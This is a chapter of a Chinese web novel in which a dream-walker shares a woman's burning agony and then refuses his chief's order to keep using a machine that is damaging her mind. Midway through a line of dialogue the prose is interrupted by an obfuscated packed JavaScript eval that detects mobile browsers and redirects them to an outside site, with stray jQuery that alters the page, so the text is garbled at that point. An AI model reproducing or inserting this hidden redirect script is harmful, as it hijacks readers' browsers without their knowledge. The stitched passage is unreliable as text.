12. 第 12 章

    在黑暗里,一切都停滞,时间仿佛也不再流动,思想都变得滞涩。


    直到祝玖视线范围中,突然出现了一簇小小的火苗。


    火舌蓬勃向上,暖意一点点沁入她僵硬的肢体和凝滞的思想,缓慢地将她的意识拉回。


    然而,那火苗却并未安静地停留。它像被无形的风吹拂,蓬勃地生长起来。火舌迅速向上翻腾,短短数息之间疯狂地扩散开来,如雨后疯长的野草,转瞬间化作熊熊燃烧的烈焰。


    橙黄的光芒愈发刺眼,伴随着灼热的温度将黑暗撕裂开来。烈焰翻涌、吞吐,像是一头正在觉醒的凶兽,将祝玖包围其中。


    痛。


    祝玖只有这一个感觉。


    烈焰如活物般涌动,狠狠包围了她,仿佛不满足于吞噬躯体,直直钻入皮肤,将她的神魂也撕裂成燃烧的碎片。


    极致的疼痛令她发出撕心裂肺的尖叫,可就算将喉咙撕裂,都无法缓解哪怕一丝疼痛。


    她的意识如风中残烛,刚想凝聚,就被打散成一地散沙,反复重组,反复碾碎。


    她能感觉到自己的皮肤在高温中气化,筋肉扭曲成难以辨认的形状,连灵魂也像融化的铁水般,被炼化成一滩无名的液体。


    无处可逃,无路可走,只有痛苦无穷无尽。


    宋曜与祝玖共享五感,疼痛以绝对的强度贯穿了他的意识。


    他一开始还能拼命忍耐,但这种将人打碎重组的疼痛下,他只坚持了几秒,就在求生的本能下退出了祝玖的感觉。


    意识猛然回到病房,宋曜便重重摔倒在地。


    镜中的他满脸惨白,眼神涣散,浑身都被冷汗浸透,像刚从水里捞出来。


    残留的幻痛让他的腿还在不自觉颤抖,他踉跄着扶住祝玖的凳子,感觉缓了很久,才能稍微集中注意力。


    地狱里的刀山火海也不过如此了吧。这样的疼痛之下,还不如死了。


    他看向镜中,祝玖五官扭曲到几乎失去人形,脸上每一寸肌肉都在痉挛。汗水混着泪水,一滴滴沿着下巴滑落,浸湿了她的衣领。


    她还在承受着烈火焚身的痛!


    宋曜尚未从恍惚中完全恢复,但他强撑着混乱的意识,立刻发动能力,想把她从炼狱中拉出。


    周围的场景似万花筒般来回闪烁变换,祝玖的表情却并没有变化。


    她的牙齿深深嵌入嘴唇,血顺着嘴角流了下来,脸上青筋暴起,随着急促的心跳疯狂跳动


    宋曜想将她拉出痛苦,却束手无策。


    突然,眼前的场景像被高温烤化的蜡烛,从边缘开始扭曲、融化。


    祝玖也像是融化的蜡像,五官混成一坨粘稠的、不可名状的柔软物质,和周围的场景混作大团搅动的流体,顺着一个方向不断流淌、旋转,成为一片绚丽又可怖的色块。


    宋曜的四肢全部被这粘稠的物质沾染。他试图抬脚,却拉出一条长长的黏丝,丝线在拉扯中逐渐变细,直至断裂。


    整个世界出现了无数绚丽糜烂的漩涡,祝玖的身影已经完全看不到了。


    宋曜心里一沉,他已经感应不到祝玖的意识主体了。梦境正在崩坏,以他的经验来看,她的精神已经严重受损了。


    再这样下去她的神智会彻底崩溃,现实里也会变成一个疯子!


    怎么会突然这样?


    电光火石间,他突然想到,会不会是外界仪器的干扰让她的意识陷入极端的混乱,才沉浸在痛苦中无力自拔。


    宋曜来不及细想,迅速闭上双眼,强行切断梦境链接。


    睁开眼睛,窗外太阳已经西斜。


    他迅速扭头向祝玖的方向看去,果然看到严晨正对着她头顶操作着机器。


    “快停下!”宋曜急喊出声,几乎是从床上一跃而起,快步冲过去,一把夺过机器!


    张旭正坐在门边的椅子上,听到宋曜的声音,他掀起眼皮:“你出来干什么?”


    他拿出耳塞,眉头微微皱起,显然对宋曜的举动颇为不满。


    宋曜这才发现他竟然也守在这里。


    梦境的余韵还未散去,濒死的恐惧仍残留在神经深处。他强行压下紊乱的呼吸,沉声道:“这机器将祝玖的精神逼到极限了,她的神智已经接近崩溃,再继续下去,她会彻疯掉!绝对不能再用了。”


    “她的记忆有可参考性吗?”张旭没有理他的解释,只问着正事。


    宋曜一愣,随即脸色一沉,语气沉重:“有的。我目前可以确定,她是无辜的。”


    他想起张义死寂的眼神,紧紧攥起了拳:“我现在怀疑,一切都是人为的。天坑底有个幕后主使,他按照山海经中对异兽外貌的描述,用动物和人类的身体拼凑,意图在人类身上复现山海经中的异兽。”


    “我还看到了张义,”他艰难地说着,眼底翻涌着怒火和苦涩:“他已经……被改造成了叫做山犭军的异兽,人头、狗身,并且看上去,他似乎还保留了一定人类的神智。”


    “他看上去……很痛苦。”


    张旭猛地站起,脸色铁青。


    严晨更是失声叫了出来:“什么?”


    “但我没能看清幕后主使的样貌。只听到他的声音,像是个老人。”宋曜懊恼地说,“我也并不能确认他是否是那些失踪案的始作俑者。”


    “如果人与动物拼合之事并非那些村民自愿,而是有人以外力强行促成,那这件事的性质就变了。”严晨面色凝重,“这种行为严重违背了伦理常识,这种能力也违反了天道规则和自然规律。


    “你现在立刻回去,确认这种事的真实性,进一步探查幕后主使的身份。如果这一切属实,我们要尽快准备下天坑,把这个该死的疯子就地格杀。”张旭斩钉截铁地说。


    他扫了严晨一眼:“严晨,继续使用机器。”


    “不行!”宋曜立刻回头制止严晨,伸手按住那台机器。


    他回身直视张旭,语气坚定:“张局,真的不能再用机器了。祝玖的精神已经严重受损,这种情况下还用这机器,不仅得不到有效信息,还会对她造成永久性的伤害。”


    “用了机器后,我们获取有效信息的速度快了很多。”张旭冷冷地说,语气不带一丝商量的余地。


    宋曜咬牙,张局一向是个独断专行的人,只相信自己看到的。


    “我们需要明确的信息来做好下天坑的万全准备。机器有用,还能节省时间,必须用。”张旭下了定论,锐利的目光锁定宋曜:“现在你要做的就是快点回到她梦里,获取有效信息。你多浪费一秒,她就要多承受一秒痛苦。”


    宋曜按住机器的手骤然攥紧。


    “在不确定她是敌是友的情况下,用这种机器增强效率,我不会反对。”他语速加快,目光如炬,“但是目前我能确定她只是无意被卷进来的普通


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964452|161219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,她根本不站在幕后主使那一边。”


    他原本就因为欺骗祝玖心怀愧疚,觉得辜负了她的信任,怎么还能任由她精神受损,甚至变成废人。


    “无辜?”张旭冷笑一声,“你凭什么确定?我们调查的是真相,不是你的主观臆断!”


    “对于普通人用这种手段,严重违反了异调局行为准则,我不能这么做。”宋曜猛地上前一步,直勾勾地盯着张旭的眼睛,言辞掷地有声。


    “我跟着她梦境的节奏走,也可以获取很多信息。或者我们想办法将她唤醒,直接问她相关的经历。虽然要花费一些时间,但并不会对她产生伤害。以她的性格,她也会配合我们。”


    “时间?”张旭眼神骤然凌厉。


    他一向说一不二,此刻却被宋曜一再反驳,耐心早已被消磨殆尽。


    “宋曜,现在拖延的每一秒,都可能让幕后主使有更多时间做出反击。张义变成那副样子的时候,你在哪?”


    他的眼中迅速划过一抹心痛,但那抹情绪还未被人捕捉到,便已被他深深掩藏。


    如果此事单纯是精怪作祟,他并不会如此愤怒。毕竟精怪不通人性,做出什么事都有可能,但即便它们再凶残也受天道规则压制,不足为惧。张义他们不是普通人,即使一时失联,精怪也不一定威胁到他们的性命。


    可若是人为,连张义都受到这么屈辱的折磨,另两个人也多半凶多吉少。一旦这种能力扩散,这件事就超出了他的掌控范围。


    他指着宋曜,声音如雷:“这个天坑葬送了异调局三个人,这个疯子的危险性极高!我们可能已经打草惊蛇了,这个疯子可能早已将矛头对准我们局里的人。如果他有更大的野心,如果他的能力扩散到普通人中,会有多少人变成张义那副样子?!”


    张旭的声音沉了下来,眉心的褶皱冷硬如刀痕:“普通人有义务配合异调局工作,这也是她的荣幸。”


    “我当然知道张义发生了什么!”宋曜执拗地坚持,“但异调局存在的意义就是保护普通人。我们不能为了所谓的大局利益去牺牲个体的安全。”


    张旭的眼神陡然冷下来:“一个人的精神有可能受损,和更多人被这个疯子拉去做实验,这两者比起来,你的立场难道不是偏颇得可笑?”


    他的声充满威压:“我需要对异调局员工负责,对群体的安全负责!”


    “对我来说,一个普通人和更多普通人的安全没有区别!”宋曜寸步不让,手指牢牢扣着机器,“如果现在,您一定要使用这个机器继续伤害一个普通人,那恕我没法继续进行任务。”


    “你——!”张旭被他气得脸色发青,胸口急促起伏。他用力一拍桌子,声音震得空气发颤:“你这是抗命!你知不知道这是什么后果?!”


    “啪嗒”一声,严晨绕到宋曜身边,关上了机器的开关,略有心虚地抬头瞄着剑拔弩张的两人。


    宋曜一醒来就把机器夺走了,又接连扔下几个重磅消息,他一时忘了关闭机器。张局又取下了耳塞,这两人的情绪可能被这机器影响到了。


    他扯了一把宋曜的胳膊,低声在他耳边说:“你平时不是默不吭声的,张局说什么是什么,怎么现在这么轴呢?”


    “我很清楚后果。”宋曜的语气冷静得出奇。


    他没有理会严晨,反而直直地看进张旭眼底,一字一顿:“但这是我的原则。”